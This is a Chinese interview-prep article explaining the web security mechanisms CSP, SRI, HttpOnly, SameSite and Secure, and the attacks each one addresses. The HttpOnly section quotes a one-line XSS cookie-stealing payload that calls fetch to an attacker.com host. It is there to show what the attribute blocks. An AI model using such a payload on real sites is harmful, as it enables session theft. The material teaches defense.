25、CSP、SRI、HttpOnly、SameSite、Secure 一次讲透

这几个词都属于前端安全 / Web 安全高频考点。面试官问它们通常不是想听你背定义而是想看你能不能把它们放到一套安全体系里讲清楚。最先给你一句总述CSP、SRI 主要是防前端资源和脚本被恶意执行HttpOnly、SameSite、Secure 主要是保护 Cookie 的传输和使用边界。如果你先说出这句整体框架就很清晰了。一、先用一张图讲关系前端安全大致分两类 1. 防脚本 / 资源被恶意执行 - CSP - SRI 2. 防 Cookie 被滥用或泄露 - HttpOnly - SameSite - Secure换句话说CSP限制“什么脚本能执行”SRI校验“加载的资源有没有被篡改”HttpOnly限制“Cookie 能不能被 JS 读取”SameSite限制“Cookie 会不会在跨站请求中被带上”Secure限制“Cookie 是否只能通过 HTTPS 传输”二、分别是什么1. CSP 是什么CSP全称是Content Security Policy内容安全策略。它的核心作用是告诉浏览器页面只能执行哪些来源的脚本、图片、样式、接口请求等资源。本质它是一套“浏览器白名单策略”。比如你可以规定只能加载自己域名下的 JS禁止内联脚本禁止eval图片只能来自指定 CDN接口只能请求指定域名为什么它重要因为即使页面里出现了恶意脚本注入点CSP 也可以作为第二道防线限制恶意脚本真正执行。典型响应头Content-Security-Policy: default-src self; script-src self https://cdn.example.com这表示默认资源只允许当前源脚本只允许当前源和指定 CDN面试里要讲的重点CSP 主要是为了降低XSS风险。但要注意CSP 不是替代输入输出转义而是补充防线。也就是说第一层代码里避免 XSS第二层CSP 限制 XSS 成功后的执行能力这句话很加分。2. SRI 是什么SRI全称是Subresource Integrity子资源完整性校验。它的核心作用是当页面加载外部资源时浏览器会校验该资源的哈希值是否和页面声明的一致如果不一致就拒绝执行。主要解决什么问题比如你页面引用了 CDN 上的 JSscript srchttps://cdn.example.com/app.js/script如果这个 CDN 文件被篡改了用户就会执行恶意脚本。用了 SRI 后script srchttps://cdn.example.com/app.js integritysha384-xxxx crossoriginanonymous /script浏览器会先算实际文件哈希再和integrity里的值比对。一致执行不一致拒绝加载/执行面试里要讲的重点SRI 主要防的是CDN 资源被篡改第三方静态资源供应链风险你可以直接说SRI 解决的是“外部资源可信度”问题。3. HttpOnly 是什么HttpOnly是 Cookie 的一个属性。它的核心作用是禁止 JavaScript 读取 Cookie。比如设置了Set-Cookie: sessionIdabc123; HttpOnly那么前端 JS 无法通过document.cookie直接读到这个 Cookie。它主要防什么主要是降低XSS 窃取 Cookie的风险。比如攻击者注入脚本后常见目的就是偷 Cookiefetch(https://attacker.com?c document.cookie)如果 Cookie 设置了HttpOnly这条路就被堵住了。但要注意HttpOnly并不是“防 XSS”。更准确地说它防的是 XSS 成功后读取 Cookie。也就是说XSS 依然可能执行只是 JS 不能直接把 Cookie 偷走这是面试里很容易答错的点。4. SameSite 是什么SameSite也是 Cookie 属性。它的核心作用是限制 Cookie 在跨站请求中是否发送。它主要是为了防CSRF。因为 CSRF 能成立很大程度上就是因为浏览器会自动带上 Cookie。SameSite 的三种模式SameSiteStrict最严格。只要是跨站请求就不带 Cookie安全性最高但用户体验和某些跳转场景可能受影响。SameSiteLax相对平衡现代浏览器很多默认就是它。一些普通跨站子请求不带 Cookie某些顶级导航场景可带通常是比较实用的默认选择。SameSiteNone表示允许跨站发送 Cookie。但要求必须同时设置Secure也就是Set-Cookie: tokenabc; SameSiteNone; Secure否则现代浏览器一般会拒绝。面试里要讲的重点SameSite 主要防的是第三方站点借浏览器自动带 Cookie 发请求。也就是典型 CSRF 风险。5. Secure 是什么Secure还是 Cookie 属性。它的核心作用是Cookie 只能在 HTTPS 连接中传输不能在 HTTP 下发送。例如Set-Cookie: sessionIdabc123; Secure这样浏览器只会在https://请求里带上它。它主要防什么主要防明文 HTTP 传输导致的 Cookie 被窃听中间人攻击中敏感 Cookie 暴露面试里要讲的重点Secure解决的是传输通道安全问题。三、这五个东西分别解决什么问题这个表很适合面试说。安全机制作用对象主要防护点CSP页面资源加载与脚本执行降低 XSS 成功率与危害SRI外部静态资源防第三方资源被篡改HttpOnlyCookie防 JS 读取 CookieSameSiteCookie防跨站自动携带 Cookie降低 CSRFSecureCookie防 Cookie 在 HTTP 明文传输四、它们之间最容易混淆的点1. HttpOnly 不是防 XSS 本身很多人会说“设置 HttpOnly 就防 XSS 了”这是不准确的。正确说法是HttpOnly 不能阻止 XSS 执行但能降低 XSS 读取 Cookie 的风险。2. SameSite 不是防 XSSSameSite 的核心是限制跨站请求是否带 Cookie主要对应 CSRF。3. Secure 不是加密 Cookie 内容它不是“把 Cookie 加密”。它只是规定这个 Cookie 只能通过 HTTPS 发送。4. SRI 和 CSP 不是一回事很多人会把它们都归类成“资源安全”但重点不同CSP规定哪些资源可以加载、哪些脚本可以执行SRI即使允许加载也要校验资源内容有没有被篡改你可以理解为CSP 是“来源控制”SRI 是“内容校验”。这句很高级。五、怎么把它们串成一套完整安全体系这是高分重点。你可以从三个层次来讲。第一层防止恶意脚本执行用 CSP限制脚本来源禁止内联脚本禁止eval目标是不让恶意脚本轻易跑起来。第二层防止第三方资源被污染用 SRI校验 CDN 文件哈希防外部资源篡改目标是即使引用外部资源也要验证它真的是我信任的内容。第三层保护 Cookie用 HttpOnly SameSite SecureHttpOnly防 JS 读取SameSite防跨站自动携带Secure只走 HTTPS目标是即使依赖 Cookie 做登录态也尽量减少被窃取、被伪造、被明文传输的风险。六、面试里怎么答才“精彩”不要一个个背定义。最好按下面这个结构答答题结构第一步一句话归类CSP、SRI 是前端资源和脚本层面的安全机制HttpOnly、SameSite、Secure 是 Cookie 层面的安全属性。第二步逐个解释CSP限制执行什么SRI校验资源有没有被篡改HttpOnlyJS 不能读 CookieSameSite跨站是否带 CookieSecureCookie 只走 HTTPS第三步讲它们对应的攻击面CSP - XSSSRI - 供应链/CDN 篡改HttpOnly - XSS 窃 CookieSameSite - CSRFSecure - 明文传输泄露第四步升华这些机制都不是“单点万能药”而是分层防御体系的一部分。这句非常重要。七、2 分钟高分回答模板这几个机制我会分成两类来看CSP和SRI主要解决前端页面脚本和静态资源安全问题HttpOnly、SameSite、Secure主要是 Cookie 安全属性用来保护登录态凭证。先说CSP它是内容安全策略本质上是浏览器资源加载和脚本执行的白名单机制。服务端可以通过响应头告诉浏览器页面只能执行哪些来源的脚本、样式和图片甚至禁止内联脚本和eval。它主要是用来降低 XSS 的成功率和危害但它不是替代输入输出转义而是第二道防线。SRI是子资源完整性校验主要用于加载第三方静态资源时校验文件哈希值。浏览器只有在资源内容和页面声明的 hash 一致时才会执行所以它解决的是 CDN 或第三方资源被篡改的问题也就是供应链安全的一部分。HttpOnly是 Cookie 属性设置后 JavaScript 不能通过document.cookie读取这个 Cookie。它主要是降低 XSS 成功后窃取 Cookie 的风险但不能阻止 XSS 本身执行。SameSite也是 Cookie 属性用来限制 Cookie 在跨站请求中是否自动携带。它主要对应 CSRF 风险常见有Strict、Lax、None三种模式其中None必须配合Secure使用。Secure表示 Cookie 只能通过 HTTPS 传输防止在 HTTP 明文链路里被窃听它解决的是传输通道安全问题。如果把这几个放到一起理解CSP是限制恶意脚本执行SRI是保证外部资源没被篡改HttpOnly是防止脚本读 CookieSameSite是防止跨站伪造请求自动带上 CookieSecure是保证 Cookie 不走明文 HTTP。所以它们其实分别覆盖了 XSS、CSRF、资源供应链和传输安全等不同攻击面属于一套分层防御体系。八、30 秒精简版CSP和SRI主要管脚本和静态资源安全HttpOnly、SameSite、Secure主要管 Cookie 安全。CSP限制哪些脚本能执行主要防 XSSSRI校验第三方资源哈希防 CDN 资源被篡改HttpOnly防 JS 读取 CookieSameSite限制跨站是否带 Cookie主要防 CSRFSecure要求 Cookie 只能通过 HTTPS 传输。它们不是一个东西但组合起来能形成比较完整的前端安全防线。九、你可以这样“收尾升华”我理解这五个机制的关键不是背定义而是分清它们分别解决哪一层风险CSP/SRI 解决脚本和资源可信度HttpOnly/SameSite/Secure 解决 Cookie 的读取、携带和传输边界。真正的安全设计一定是多层组合而不是只依赖某一个属性。